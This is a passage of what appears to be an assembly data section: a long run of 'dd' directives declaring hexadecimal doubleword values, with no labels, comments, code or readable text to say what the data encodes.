0FFBDD3h dd 0B024324h, 0DF397252h, 0FA2B5800h, 0DE273C1Dh, 83050785h dd 874E29AFh, 7815972h, 80124158h, 0FDD02AF0h, 9042A650h dd 981D39C0h, 33FE2701h, 0C8E55785h, 5D001B2Eh, 2C31660Dh dd 5400883h, 825BCF42h, 0DADC81B3h, 2B9060D2h, 0A53E861Ch dd 7901A740h, 0F2683FC1h, 3C7600B9h, 0E51235D9h, 1E3EC394h dd 0ABAD0E33h, 3D1F5E32h, 45E60A40h, 9D13EDh, 89547104h dd 0FE210E28h, 0D0B23A00h, 752E1CECh, 51E316A3h, 440300DCh dd 414348A0h, 4249A500h, 38093B5Bh, 3FCE1DBBh, 0BF116F7h dd 250B7E60h, 2B75100h, 0B89868B3h, 3D071E1Eh, 2E13E940h dd 1DAECB4h, 0C1096A3Ah, 80DF6757h, 59F7C509h, 39ADC6Dh dd 0A895EA30h, 787AB4Fh, 0B2B9625Bh, 7AB57CC8h, 380F7D05h dd 1083FEEDh, 8BE6E06Ah, 6C74C5h, 0B887F852h, 59C79DACh dd 0D2D3D41Ch, 0EF07FFBDh, 0CB90F103h, 3F128AA0h, 0F5A00077h dd 0E2AB6B99h, 0D00FA92Ah, 60BC4FCFh, 28F413E6h, 10A30032h dd 2D373BA1h, 680011B5h, 0FA8B0CB1h, 748F59h, 8C7F4D06h dd 0A89DF2F7h, 89242200h, 8E69BA18h, 23340009h, 37B2563h dd 0BD078556h, 1492D0EAh, 9A823840h, 0DAB912B6h, 5D6D0008h dd 65073296h, 86BF6E00h, 0EAEC3D69h, 226C00F5h, 0D421230Ch dd 0FE481CA4h, 7C1F0F78h, 0CB49E040h, 0F62CDFC4h, 2ADD00D7h dd 96C8B6C3h, 0F0000C78h, 0E4B2E623h, 64D3FCBCh, 0C73A0990h dd 0D53970D9h, 0D9B032FAh, 24C3DF2Ch, 0C4762404h, 5937C820h dd 9CC25E12h, 0BB66E903h, 884F880Dh, 6020EF91h, 1200080h dd 9C3075E1h, 0DE0062A4h, 88B998ABh, 3B7EB822h, 0C98199F2h dd 9ED865CEh, 959470F3h, 19021A76h, 92D121BAh, 711D406Dh dd 57C000A3h, 0A9733540h, 0D8004112h, 80DB65AEh, 0D2FFD5h dd 0FD7BDF59h, 0BC6E3CFh, 0E003BB7Bh, 0E9ADE6F6h, 0E170C141h dd 0A0A82DE4h, 13ED5ED0h, 0F490F5Bh, 546027ECh, 43ABFA6Eh dd 7100147Ah, 0A51178CBh, 0F8CA51D9h, 0D81800D7h, 0D10D12F6h dd 650081C1h, 79100762h, 90ED3A16h, 0D7FE0580h, 0FD2574h dd 0E2EA34E9h, 913B9E77h, 0EC6A87BEh, 5B1069AFh, 0C8DE6C6h dd 8BE3D743h, 401F5909h, 1BC0B1D9h, 26F167AFh, 0E1AD70DBh dd 29C437D1h, 349C0008h, 98F9FB58h, 6803549Bh, 19935F63h dd 7B8B81DAh, 30F0B0FCh, 0A7FE1AC1h, 70E5AB9h, 6711D90Eh dd 400E2C81h, 0AFD37F91h, 8FF10087h, 0CC9884BCh, 80007E2h dd 0B8CFE703h, 0D0A83Ch, 0D3B5CAF1h, 6CC76FF0h, 0E014490h dd 0CDC17B9h, 0BBECE4E7h, 0D09C00CDh, 47F20DD3h, 0BD00D608h dd 4C6286C9h, 51608Bh, 0E42F80FDh, 0C55B2CABh, 686B0D00h dd 3686024Ah, 5EEE98h, 0ABE6B964h, 4403BC99h, 0EB37B200h dd 41059D9Ah, 61E37F6h, 0E7360094h, 26735E6h, 0E2104674h dd 747AA5h, 2CEC9CE4h, 419D6690h, 3DDE4D00h, 0C26C38F2h dd 134F016h, 773730BFh, 31635B91h, 8D9DC4ACh, 894A800h dd 8758B63Ch, 9C990071h, 0F04A6024h, 0D8003B3Eh, 1AC34F33h dd 0E620620Ch, 0A9F10042h, 8341A374h, 0EA0023D2h, 0D8CE78ECh dd 0ED3B64h, 66C95E45h dd 1EA48CD1h, 2135F212h, 0A04080C0h, 84967Ch, 0C734255Ah dd 660B79AEh, 8FB94996h, 8E1AC008h, 18FCF90Dh, 317B3D7Ch dd 24A03452h, 460E176Dh, 804FA482h, 749602A7h, 0F57009Ah dd 545EB737h, 769087F2h, 97505600h, 608E7063h, 76721F01h dd 0C34649A3h, 8A01365Ch, 957B1F7Ah, 83FF1080h, 79D37023h dd 14714904h, 60A0BADCh, 0B4870CFAh, 82786D18h, 9FF7863Eh dd 7B017A9Eh, 0CDD3AC35h, 1DC87561h, 0D74800BEh, 89F919CEh dd 24EE95D0h, 232B0E03h, 0D9066D1Ah, 0C2F4183Dh, 7DAB0326h dd 1637EA45h, 8B7FA090h, 0F0F6832Ch, 8A0A7480h, 0FB325Bh dd 0B1715CCh, 5A04C1EDh, 0DB129E00h, 7945D3A7h, 650C2607h dd 18A51C94h, 887BB849h, 0EBE48B00h, 4CC5CF2Ch, 4AD4911h dd 1700DE3Bh, 5B36A680h, 0E9007A83h, 0A53F086Ah, 180C69h dd 0F2878CABh, 10FE1D90h, 0AFD58400h, 697C2166h, 5104006Ah dd 0DE650B9Eh, 0F5756BB8h, 18104507h, 0C1C098E4h, 225775F1h dd 0BA28160Eh, 67008087h, 0F07D1B94h, 3FECE41Dh, 8B81D495h dd 1A6F7B32h, 9B8080DAh, 169206B5h, 9A8700DBh, 2BCA1576h dd 6C0086FFh, 0BC35B865h, 3DF3B9CDh, 1F78C646h, 0BA99CBh dd 42D3DF24h, 700066B0h, 198176DBh, 2E7246A2h, 1793516h dd 0B4D914DDh, 24298820h, 287900DCh, 0F1738CF7h, 0D690371Eh dd 23CEE21Dh, 167CFFCh, 0A078D301h, 3A59A5C8h, 4730F30Dh dd 27F48D09h, 0E7008074h, 3387BD0Fh, 4E9D89h, 1DA838Ch dd 0BC969A8Ah, 85EC4500h, 0AAB9C96Bh, 0A2031A7Dh, 0AE61EC69h dd 1BDF70E4h, 30291C00h, 8CA89A35h, 6C34007Dh, 0C510636h dd 9E00B09Dh, 9165A40Fh, 0BEABF2h, 2580D1CFh, 4FF475F9h dd 211080EFh, 6E4096FDh, 8A1C00E2h, 2D632FD9h, 0C02BDA6h dd 68B488DDh, 36B080F3h, 0F86033h, 0D2083A95h, 1F990EE7h dd 70D7DA00h, 7AAFD8D6h, 187800D5h, 3B662D52h, 6C009EB5h dd 0E730346Eh, 7D8A85h, 0D519B24Ah, 125F91B6h, 647FA403h dd 12BAE0B0h, 0AB4AA73Ah, 9DCF6400h, 7262D382h, 0E1030024h dd 1113CA61h, 0D83CFC41h, 6800F76h, 7AC05F5Eh, 9431794Eh dd 29A60001h, 0E43AC89Ch, 403F3CDCh, 4AB05B8Bh, 0EC070020h dd 0EF9D3502h, 2E0F7FDEh, 0E2EE3341h, 0C0AC8AC6h, 0D1852Eh dd 0BD0A232Fh, 94F12AFFh, 0E45DD500h, 0C37948D3h, 1738003Eh dd 8626996Bh, 7E00698Ah, 0EE4D660Bh, 19A75Bh, 0CFADB31Ah dd 5FAA1D31h, 0BF640A00h, 254434DCh, 0F6D51D46h, 0F7EE00FBh dd 21D43B40h, 0D8354302h, 414176F5h, 86DC471Dh, 1AA81E75h dd 956D960h, 7887F8ECh, 57BEF500h, 0DA645F45h, 2289097h dd 3969A1DBh, 0A9406647h, 0C000F6E6h, 55602616h, 1CABA7D0h dd 4036345Bh, 0E006C2A1h, 5700E615h, 0A8832449h, 1583059h dd 0AC7E8C9Ah, 0D0FEF76Bh, 0C4F69E99h, 0B4712B00h, 0EFDBF6A9h dd 0FBF00051h, 89A0B30h, 0FD051A04h, 0ADAC2446h, 1BD04A80h dd 0F62103DFh, 8C4DF577h, 30550DA8h, 0FC984C00h, 81293141h dd 8C335040h, 0EACA00D2h, 9BDBD190h, 8902CE91h, 65D07BE6h dd 62D7C0AAh, 437C0B77h, 12814199h, 80F9FD4Ah, 897F709h dd 2B2F444h, 0C02C70FBh, 8C819B3Fh, 0CEEDA137h, 616010h dd 5D04C946h, 95322B1h, 83FAF03Dh, 0A7DD85ADh, 2E87E855h dd 8CA00039h, 0FE5FD4FCh, 9C18CEB3h, 6719AFE7h, 152A0013h dd 0A37ED557h, 3C075212h, 489D1EDAh, 0A79B9A00h, 0C556124Ch dd 0FFA000DBh, 8962A242h, 7449D800h, 1A87087Ah, 10D76AF2h dd 0C3E30070h, 0CD57A19Eh, 8BEF6401h, 1EB879FEh, 35B170h dd 2889B0Bh, 43C5FB69h, 8BC4BB01h, 9CDCBE40h, 3D5FF8h dd 0FF39B477h, 0CEE00E08h, 0BA3C5600h, 962548DAh, 0CB4700A8h dd 0EEF75473h, 0C3FE2EE3h, 0E86A591Fh, 9450E4D8h, 561F00D9h dd 242348A8h, 39507F55h, 4006FD4h, 0A4D620Fh, 15B454h dd 42AD268Ah, 0AB9FFA43h, 57A71B0Eh, 400C808Fh, 234327Ch dd 0CC3A78EAh, 1861D976h, 0E5B5D075h, 300C10F4h, 18EC485Ah dd 0EE7F14h, 0D2718841h, 0E724D91Ah, 0F8002898h, 0B32BE117h dd 7A062Eh, 424B048Ch, 7123FDDh, 1D07D677h, 7767C640h dd 0AF4E56D7h, 969802Eh, 6E70B05Dh, 4861382Ah, 0E445DDF5h dd 4C07D7B4h, 9407349Fh, 20B5CEBFh, 1B48C37Eh, 0E2223FDDh dd 49C10402h, 0ED60375Ch, 3F024254h, 0D5582641h, 726048A0h dd 0AF4A17EAh, 0B4600071h, 0E646296Eh, 0A056F01h, 0D7015C9Bh dd 37AE3D0h, 6ACE7CA1h, 9007B52h, 0A428B899h, 41BD391h dd 1E574BD1h, 176080C2h, 0CEA08DC6h, 100FFBBh, 8288E1CCh dd 716F4Dh, 0E07EF219h, 76402648h, 80BA870Fh, 0B51CA068h dd 1E86813Bh, 21694ABh, 0B1ED9ACDh, 125DD0A1h, 0A98F443h dd 420DD500h, 8D10A363h, 384A002Ah, 0AC09510Ch, 1A01402Dh dd 4B7353DEh, 10360FFDh, 0CC256A0Fh, 0FAD52A40h, 5626BF99h dd 39042479h, 3D851F80h, 0DCB84800h, 73CB92ECh, 536108C5h dd 41049C6h, 0FBE15680h, 0B800D814h, 0A2676D41h, 0E119B96h dd 0E7CDD59h, 48666423h, 0D37CC7FDh, 1FC04B3Eh, 0E91F5015h dd 0CD409562h, 947F02E6h, 8C583A2Dh, 1A3EA980h, 9FC9EDE8h dd 0D4185200h, 254C59CBh, 828F0029h, 0B69218Bh, 6D7A6C35h dd 0AF04B090h, 2004B5BBh, 0D82DC980h, 24D60083h, 0DAC47B6Bh dd 2F3DE386h, 39088345h, 903858h, 0CF443AD0h, 53B7C997h dd 135C0600h, 0C131DFD1h, 0F72F00A5h, 0A64712F8h, 0CC00C2A7h dd 70390672h, 0F23730E1h, 83EB00C3h, 0CE179655h, 470116B0h dd 0C4131E68h, 0C42439E5h, 4D3D01CFh, 0B4D55274h, 0C3C0415Eh dd 211CE3CAh, 6440681Dh, 0B1C41F1Eh, 1519C33Ah, 0A9124D47h dd 3CA1FAC9h, 2FA20880h, 7D3FC264h, 8CB36A38h, 0D095F28Dh dd 0D8200061h, 357A786Ch, 9D61EDB4h, 90392518h, 0B5B2DE0h dd 7C5F8C32h, 1DAB4780h, 0BC0DEC5Ch, 39B5D6A3h, 7C045981h dd 41A615D8h, 0CCB8C544h, 117FFDC0h, 18733B00h, 28A519F2h dd 0EF2D0027h, 8B3439CAh, 0DE75EED9h, 99ABDF00h, 0C9FBDB67h dd 3D511D4Ch, 6BF90037h, 50444E86h, 98814B00h, 0F53C0782h dd 4734029Eh, 668A99FBh, 40E660D7h, 9C4800D8h, 115B2C23h dd 0E9004EA7h, 3D14C19Bh, 0EFEA60h, 92D25E4Bh, 58F93829h dd 0AA4A4278h, 0C6CFB0h, 6A5767AEh, 0E132FAB1h, 8006093Eh dd 61469FF1h, 0A436CA5h, 4F6A933Ah, 3BF0B4C0h, 2484BF04h dd 10B8C8BEh, 15FB316h, 0EA48B900h, 0B09572B8h, 0C6DA0C28h dd 0B7191116h, 0CB328811h, 0C106210h, 485A55BDh, 3CD4ABEh dd 66C781A0h, 673C2140h, 0F4C28D25h, 0BE3F0060h, 0E172E83Dh dd 6FEB5A03h, 0E1EC5F88h, 0CBDC47C3h, 3CC87C5Eh, 75007C8Ah dd 40C7AE07h, 2530DC35h, 563DB846h, 0F9457866h, 19751E0h dd 82845D10h, 40C6DB9Fh, 0F6B85E40h, 8AD0E160h, 0EA386B09h dd 882E1E7Dh, 0E8904079h, 963D4DBCh, 3EC84A62h, 498F2F39h dd 62D3A9C1h, 7C2BECD4h, 2DAA7806h, 888EC7A0h, 7B36B874h dd 9D731980h, 0F2FA4121h, 0F85FECE0h, 0F45840DCh, 57A9318h dd 97E1786h, 0C528C061h, 0A5003819h, 4A6B785Ah, 0F97813Ah dd 52D5D6B5h, 9380438Fh, 8BD15D45h, 26F8F415h, 0C8D001ACh dd 37D60E81h, 3BB7E850h, 0E9B90224h, 0BE86A4DDh, 0C42CFC90h dd 0F8B3D000h, 5617C79Fh, 0C30D2E71h, 97070068h, 0B8784ADBh dd 3598D254h, 0F49F273Ch dd 2485442Bh, 7D22433Fh, 0CE544D78h, 0C034A90h, 7720FC72h dd 80C3FD46h, 0BA96905Eh, 4EF100D8h, 76F952AAh, 3807FAAEh dd 28ECB520h, 0BF902Ch, 0C7ADD3D9h, 0DED792A7h, 80ABA639h dd 4D80CEF2h, 0DDDD0h, 0DB9E8286h, 1476278Fh, 1B15487Ch dd 0C87C7A99h, 57E453Fh, 0D026CF58h, 288F48E0h, 0B85D9204h dd 8088E2C6h, 8607404Eh, 0A1998F14h, 165F80BCh, 0A039782Eh dd 478EE0h, 0C7A941EDh, 4A4CA2FCh, 56854B02h, 400A7998h dd 9B52160h, 3FC0AF1Ah, 0CFE85807h, 34162640h, 963D4F44h dd 8128C819h, 0EF117FBCh, 48BA4C20h, 0C9897449h, 90884012h dd 0F9D7F0F4h, 7541A588h, 2568C1BDh, 227719E9h, 0B01A00ECh dd 0B48245AFh, 11CB5A22h, 4100FC64h, 48206244h, 0F205B2BAh dd 0B768BE10h, 993B3430h, 700184A0h, 63B94A71h, 8425F1B7h dd 0E075CC50h, 0E4380550h, 60B9C4h, 4A40B39Ch, 2700D85Dh dd 0A5F2DD6Dh, 17F2AF3h, 591315DCh, 2440D2BFh, 7C00866Ch dd 0B022F24Fh, 319E4BBh, 0DD051CE2h, 749ADA07h, 88200862h dd 0BE317AA5h, 5066302h, 89E7078Eh, 0A650055Ch, 80E8EC50h dd 2E414970h, 52DCEC71h, 7CC4CEh, 0E0FD420Bh, 9B4D6849h dd 2F5020E9h, 0B57BDBEAh, 0FD81B801h, 72A0C0D0h, 5C4BB881h dd 2CA8D36Ah, 82BA1DE0h, 88B693C6h, 2DC40371h, 7AC869C0h dd 0E7A58100h, 2714614h, 16A8C735h, 0D349B14Bh, 0A0A453ECh dd 156C3818h, 883ACE28h, 5560591Fh, 9BA54178h, 347450B6h dd 80DF6F05h, 16C81859h, 9AB93AE9h, 0CC4DCF80h, 13BAF882h dd 0D649F307h, 0A590FCC8h, 2A4A611h, 0E448DDA2h, 9C4AC9B4h dd 50AE2007h, 5B82B36Dh, 69A6BE00h, 0C46A1753h, 0B1DE60D1h dd 28DD7416h, 0A9036097h, 28609206h, 0DCDB11h, 0D9D0B435h dd 711AAF95h, 0FCC13013h, 72099800h, 0C32B1678h, 190EAD30h dd 183B4A93h, 0B84524C0h, 0C6DD0605h, 0AB6EE820h, 3CB003EAh dd 0B4F93DB1h, 90ED3293h, 92F25D44h, 0DC510212h, 3070FC42h dd 0D0786BF4h, 86F0F5h, 8540F6A5h, 117046B2h, 4FC55E00h dd 0F8D83AEEh, 1F50FE4Eh, 360B74h, 0A73C2AB1h, 3E2B8F75h dd 0DC04B089h, 5D0049CFh, 9ABAA083h, 0D4103661h, 17C43C81h dd 3A530BB4h, 0D018318Eh, 0A5068DDDh, 0A25F3FD6h, 93530F19h dd 1FCA4134h, 940500B0h, 1EA632BAh, 0B443F706h, 413413h dd 0CFB17D3Ah, 6DD04B7Ah, 0A7FCC4A0h, 6CDCCA1Fh, 5778D803h dd 3C181F94h, 821D3CEBh, 704D8138h, 60B64093h, 8CA8EEF8h dd 84B0BB09h, 248C064Dh, 0A000E85Ch, 8BF80DDh, 3C19C0B9h dd 9A2063F9h, 0A30B864h, 2C11F640h, 0B300ABDCh, 44327178h dd 0E694682h, 726C8FBCh, 7D2CBADCh, 330C0114h, 2150BD9Dh dd 0B7F03A0Ch, 2E54002Ah, 0F7533F5Bh, 8C909193h, 92A03Ah dd 9043F21Dh, 0FC5534B7h, 0E27F0317h, 3BF9060Eh, 0BB3A9ED8h dd 9AC27013h, 2CD8E028h, 6280C157h, 0FC491EC6h, 4D283086h dd 9C295C8Eh, 4658C1A7h, 49342448h, 3D62FF8Ah, 88E5E810h dd 7C8C5448h, 95996891h, 0A0206C21h, 0AFC61356h, 22040849h dd 3E339E08h, 4220B9A6h, 4002753h, 0CF3DE7A6h, 8410CA28h dd 0C89536AEh, 300C3C12h, 0EF8B127h, 0D51487B7h, 2D86F9EFh dd 2C4520D9h, 15157890h, 194C3432h, 0C028EF51h, 7785432h dd 5F2DC92Ah, 1997C668h, 526FCA4h, 0EE0E38E7h, 0FCC90749h dd 6307A5F2h, 0FADD9824h, 20D816B7h, 55FB0582h, 6C882279h dd 327900C4h, 0B3E7A702h, 649A82A1h, 807491ACh, 5049E6C7h dd 28B36324h, 4EF95E87h, 0A07179C3h, 24BA6C44h, 97AC43E2h dd 15D023CEh, 34C8E699h, 19024F68h, 77461188h, 25504145h dd 3E81470h, 0B43FF2F7h, 4A50B870h, 15070A68h, 0C1690776h dd 24A4A00Ah, 0B4216138h, 242432C7h, 0EF1E0421h, 0DC3F317Bh dd 38001768h, 0F71F0E14h, 926ABE40h, 50934C2Ch, 0D004F922h dd 2E08804Bh, 989210C9h, 781C910Dh, 2AA834FAh, 5F1DDA07h dd 2EC04A13h, 5545AE38h, 28505CB4h, 483D96h, 0D334EE78h dd 5197B81Ch, 6C4A2709h, 9FC02341h, 827105A6h, 0C0B9F94Ch dd 0A413C2Fh, 0CF89E562h, 9FB8E022h, 0A0722A05h, 15400B6Ch dd 6410FE61h, 0F801FDA5h, 0C789B88Bh, 2462B34Fh, 135EBC00h dd 9B317F42h, 4BB3D0Eh, 18B0787h, 0B0FB184Ah, 1DB8F49h dd 0B5FE270Ah, 0FC3846D8h, 3732E6BAh, 0C93AF18Ch, 0A8805AE0h dd 0C7A4EDA6h, 8C901316h, 0DDE8E1Ch, 0B8FF1C8Ah, 31304207h dd 770274EAh, 618F5E7Fh, 404847A8h, 9F243E32h, 0CA721280h dd 875576B7h, 8B48C4B9h, 0F8B98C20h, 0CF9F1580h, 266C48D9h dd 851C74D3h, 0C0BC4DDDh, 9E585188h, 0B5A10A12h, 880449h dd 0C0228E2Ch, 307C4C14h, 49D81900h, 0BC41AFE4h, 0B54D9C7Eh dd 77307870h, 0F51789C3h, 184CEA54h, 51EABA68h, 4E78FABCh dd 39245977h, 99178ED8h, 334AA000h, 4276D5Dh, 0E4BA5617h dd 55E4B48Bh, 75B77E18h, 3E4638h, 99B86CD8h, 4248F3F9h dd 13710702h, 82397D36h, 9170FAD0h, 0D184C08h, 1F2DB65Ch dd 31FEA4Eh, 3F631D00h, 21BB34h, 1044F720h, 0C852B892h dd 48F33DEAh, 0B512FD20h, 6801CEF1h, 6B991FF8h, 1B41C70h dd 0AE37D5D6h, 0D0806644h, 96001A7Ch, 0E3D9CC33h, 0BCC45619h dd 7DDF8114h, 93E4655Ch, 0FC083C18h, 2C4DC4F9h, 665941A9h dd 3BE40520h, 0C004AB78h, 3F22C571h, 1A2E885h, 2205DDD8h dd 0D5D450C1h, 2094CEF2h, 9885D3Fh, 45AFE3h, 42514104h dd 10A349B7h, 70DFA409h, 0F44C7080h, 56009447h, 0D6B5EB08h dd 2A695F1h, 5E6B7841h, 0E8C08144h, 0EA62ED43h, 492EBAD8h dd 92C896C8h, 38E069BDh, 46A50883h, 4E4A3800h, 71F24582h dd 0DC530131h, 37C049B5h, 4508487Dh, 2C80048Ch, 0C4B7784Dh dd 348B0048h, 0FC5526DBh, 33128CC2h, 16449E47h, 723C93CCh dd 0C8C072D4h, 4A00080Dh, 324D4149h, 13AB03Fh, 8F35C02Dh dd 90924FBDh, 0B580A238h, 226FBA8Dh, 0E200C4B1h, 2BA2C0A6h dd 48D0A8CBh, 0AFDE0990h, 0C0C51FD9h, 0AB792D05h, 0CACCD410h dd 0C4DBB0E5h, 470A489h, 4BA4A862h, 0B09B5481h, 0F4AE044Ch dd 80FF2066h, 5D5E0B80h, 816F029h, 671FD608h, 0B453121Dh dd 20CF7C41h, 4803F8B0h, 8F110732h, 9526E8DEh, 10D09272h dd 1CC7CC19h, 3C040844h, 0FC903B7Eh, 0E7098FB4h, 0C7A1DC2Ch dd 5E2100A0h, 31A0B2B1h, 0BD4952CCh, 17782469h, 0E64D5B00h dd 304546B6h, 840C0053h, 0BD344388h, 730FAFD5h, 0B6F7D7h dd 44C0235Dh, 0FA018C3h, 85EB603Eh, 20DF5202h, 0E0CCDC5Eh dd 99651B8h, 0B8B12B07h, 53B0B42Ah, 0A0C06CB2h, 7E512185h dd 24D46250h, 5E09844Dh, 64442F7Fh, 0E0C61DD6h, 3F464018h dd 39EE1092h, 0B9B42404h, 10C74E4Bh, 482F8009h, 18D99C50h dd 18607609h, 8513C7E6h, 0C0803C6Dh, 5970C003h, 500B0BAh dd 225F3919h, 48B2CCE6h, 56C44100h, 0E88E7D5Dh, 60170069h dd 787C7438h, 0AD1EDAB1h, 0B40A35C7h, 751C067h, 0C6DDE810h dd 4C980F2Eh, 2740EE00h, 4DC1B8Bh, 0ACF2EF13h, 99C0C2EAh dd 0DA64A048h, 0E5F18A8h, 84307552h, 1707A1D7h, 0C010599Ch dd 24006976h, 2B785E54h, 17B8ECh, 20E67274h, 0C2305DB5h dd 0C82C509Eh, 0B9BF8301h, 0FC682E7Eh, 0A5F7C70Ch, 0B82AEA78h dd 7F200CAEh, 42ED4AA2h, 467A976Ch, 112D08C3h, 8B00B08Ch dd 938723E9h, 20EAB9C0h dd 0D04250E9h, 0F1DF1602h, 19A4903Dh, 3A2A6F98h, 0E028D820h dd 0F803088Fh, 0B1C40E6Ah, 938104EEh, 80456CF4h, 0D0EB2434h dd 58F2B333h, 0D5F0C8DCh, 0A4C84869h, 0DB80708Eh, 222CF1F9h dd 0E638FEA0h, 48E7BF4Ch, 0DCA600FCh, 4D211B75h, 51F7F8DAh dd 34418097h, 0CD01418Bh, 0FDA882B5h, 0C29AB77h, 4441EB20h dd 690A787Dh, 839CF4BAh, 0F6B930DEh, 9818200Ah, 4F82B8AFh dd 0DAA10496h, 114500A8h, 0EA5EEF75h, 0A6324CD6h, 482208FAh dd 0E937A4h, 6054D75h, 71A5110h, 80A3B339h, 854BAC40h dd 0E6FE797h, 7F3FED18h, 0A967ADA2h, 78D05843h, 146488FFh dd 10600579h, 0EC98E275h, 0CE203C84h, 0E838034Eh, 0E1FB8D75h dd 6C7A1598h, 62D28C01h, 78513941h, 68A86BC9h, 352003Ch dd 0A280B29Fh, 5300F46Ah, 61B45D1Eh, 18567EFh, 912EFCDBh dd 0F0302112h, 3E002334h, 0C492F4A2h, 248AFFBh, 1FFCBBD9h dd 1EE0A404h, 491CAAEFh, 0C9CA3851h, 0DB0FEC0Ah, 8BF26023h dd 0DF433Fh, 0DD81E392h, 849CE90Dh, 0F700B07Ah, 47C868C5h dd 294AB4h, 42EDB3F9h, 65467B4Ch, 0F022230Eh, 0F3A8A03Ah dd 70683DEFh, 1408003Ch, 86A2F466h, 0F7E9F24h, 0C228CC0Fh dd 5988A02Ah, 7056E87Fh, 798E00B5h, 453B0636h, 0FF3CF405h dd 263E5Ch, 357ABEBCh, 2C021399h, 18A15D14h, 0B1AE213Fh dd 0B44FAF00h, 11BB9E0h, 3308CCE1h, 2C1E4E21h, 11C0CD98h dd 0AEC3FDDEh, 4DC0003h, 857B4014h, 1D012D51h, 526ED78Eh dd 79805AE1h, 6CDA3199h, 0BB07DB23h, 0A119DC32h, 3E217546h dd 4B8008E0h, 0BAAC7FF6h, 18C06684h, 0A5DE6479h, 80B00602h dd 362A08D6h, 0EE63AE00h, 82ACFDC0h, 0D0A96C29h, 0D8C426F9h dd 0B8305609h, 0B4104AAFh, 0ADCCD308h, 0C4FF4531h, 0C200CD47h dd 8F31A5C5h, 1C60503Ch, 876C8914h, 0E5320B74h, 89C22A1h dd 0AF873090h, 0B0B45108h, 409A64BAh, 60982AFCh, 906C1C77h dd 0D12D00EEh, 8E208153h, 0A0E31B03h, 0D0263F50h, 90B564A8h dd 857C0592h, 2101D856h, 0F84AB7E8h, 0D00273C6h, 8360E011h dd 5E94A742h, 30C29E70h, 7B2F01A5h, 0F4AF843Ch, 0F0F430DFh dd 68117030h, 96E7B7h, 0E9C7993Dh, 0C0501AEDh, 0B51E6504h dd 5C80661Dh, 1D4D90Bh, 9C28F488h, 0F42108E8h, 3C004F75h dd 237CB4DDh, 0FCB91D40h, 0C0B303EFh, 0F2BA9896h, 0F44EC7E9h dd 65000A1Fh, 8AD10330h, 0E9FDE7Dh, 140E8420h, 0C833805Dh dd 0E7603522h, 63003073h, 0E407D9AAh, 0FE44BAh, 0A9D993Ch dd 21EED1DAh, 37FAC702h, 606576C5h, 9949D4h, 4B34359Eh dd 0FEC9226Dh, 0B8009AF0h, 847B3B90h, 0DEC2D5h, 519EB45h dd 0E421A0DFh, 0E60099F6h, 5FAAF0D0h, 39DDB3h, 0CFFED6E5h dd 336FF8DFh, 6759BE00h, 137CB020h, 497E009Ah, 66FB2682h dd 0D200C7E1h, 0BC1ED5E3h, 9B6EABh, 0F60E22Ah, 8457E42Fh dd 4E8A8900h, 241F4C12h, 7E18C99Ah, 0F666B00h, 96A2332Eh dd 0A41E30C0h, 0C1199400h, 736B2D24h, 0DC6A0F4Fh, 3300BD11h dd 9E0A36A1h, 0DBEC1F0Ch, 60F52878h, 87BB60A7h, 7D18D96Dh dd 2FD89F3Ah, 3C1900CAh, 7A103880h, 0C05EEE8h, 303A2E4Eh dd 0F36E9503h, 0A0900098h, 2902508h, 8B606D81h, 0EE696241h dd 85F1009Ah, 0ACB9427Ah, 9C6EA58Ah, 0B3564621h, 0D7808040h dd 9A4D1E7Eh, 80F9005Ch, 4AF86A5Fh, 93EAC00Fh, 0A87FC013h dd 78F0CDEh, 5D73BB8Ch, 10F4808Dh, 0E300CA27h, 6FAAE6B3h dd 35F3B6h, 0BB7E602Ah, 98816739h, 0C8EEF47Ah, 0ABA228C4h dd 4427CF44h, 2B42640Dh, 900FC9F9h, 2829519Eh, 2EE82871h dd 80AD3A88h, 250051C5h, 7B221D1Ch, 29BFAC1h, 0D777E629h dd 60E04D34h, 0B200AC55h, 9D8F0A2Fh, 0EC35894Ch, 0E9A1009Bh dd 5C0752D7h, 7C005169h, 4F360C43h, 9EC3A5h, 0FCD0D232h dd 0A6CC1F0h, 0A77E3B00h, 54406469h, 0ED310061h, 0C142E62Eh dd 0D200DA02h, 798752F7h, 9549FFh, 90408CACh, 0CF7BBC39h dd 8808C700h, 84CA8DB3h, 0E47E0081h, 7AF04B95h, 0AF004E48h dd 8CE1CBEAh, 79116C6h, 0AE35FC3Ah, 875A800Ah, 790145CAh dd 0C8845224h, 199E066Dh, 4056009Bh, 918AFF4Eh, 64A3800Eh dd 935A9921h, 0E35B7ECh, 114928D7h, 8CEA2523h, 0ACD4E9B0h dd 0F00B8B28h, 0B5E2F400h, 100A07BFh, 5D711C98h, 90030025h dd 6DD1641h, 0C265400h, 3BE508E6h, 231D00BCh, 0C45C95CFh dd 0EC0707AFh, 8F8EDFD7h, 0E0401903h, 1D5B8A0Ch, 6409F81Fh dd 83A80C5Bh, 0CAECDE70h, 602BFA00h, 47C789E9h, 0F7F642h dd 0D8A4629Ah, 0B8A712ABh, 5A7D5600h, 0B2364DFBh, 0CC1707EBh dd 80E1BA70h, 0ADC653F9h, 0F0B65802h, 823B4DEDh, 4157FBC0h dd 49C862D8h, 27A80043h, 8013349Ch, 7004668h, 36BC9288h dd 0FF7AE3h, 0A7993A0Dh, 7D5B4778h, 0CAC94406h, 1072D4h dd 0FC5A42C6h, 0ECB19FF3h, 19717F00h, 61014EA9h, 2B170E49h dd 4C00BC94h, 0EE102CF6h, 29FA8D07h, 0E6600F7Ah, 0A05455C5h dd 9BD294h, 0AA503FA3h, 625A3440h, 0EC6A1700h, 68B2F1E5h dd 583301E0h, 53A2E3E4h, 898BC84Dh, 95B8C200h, 0C6BC0F45h dd 0D5060013h, 0F1FF8C8Eh, 30009AB9h, 837A5331h, 39740B51h dd 0D880636Dh, 2A8AAB3Ah, 1A7D9E82h, 37CD7F0Eh, 4D4680A8h dd 7BC0C4h, 1B79DAAAh, 76D70649h, 874E5000h, 219FFC9Ah dd 0C5861DDDh, 0F815C0E7h, 6ADA5B2Ch, 1F44A700h, 4FF9F5D4h dd 0B6690E82h, 1D2072B5h, 35D87C01h, 0B851202Ch, 91170300h dd 395619h, 0DC555CEEh, 0E7C992CEh, 3FAD4000h, 0AE33E38Eh dd 1252C1C4h, 0E0289620h, 0F300A75Fh, 108E9502h, 4806352Dh dd 7C00200Dh, 0BD73C594h, 0AD003F7Eh, 20623285h, 1AB23B1h dd 0F50BC958h, 0F4B51311h, 8974BAC3h, 585AE00h, 0EEDDF142h dd 4F5100E0h, 0AF7E4B56h, 8600A62Bh, 0D8CE1A37h, 0E87F8h dd 8A5F2891h, 0E996A51Bh, 8000497Fh, 0CC32ABD0h, 7FD05FEh dd 813B869Dh, 0DA5220C2h, 8E002B0Ah, 72FAD1EBh, 0F8DD6BAAh 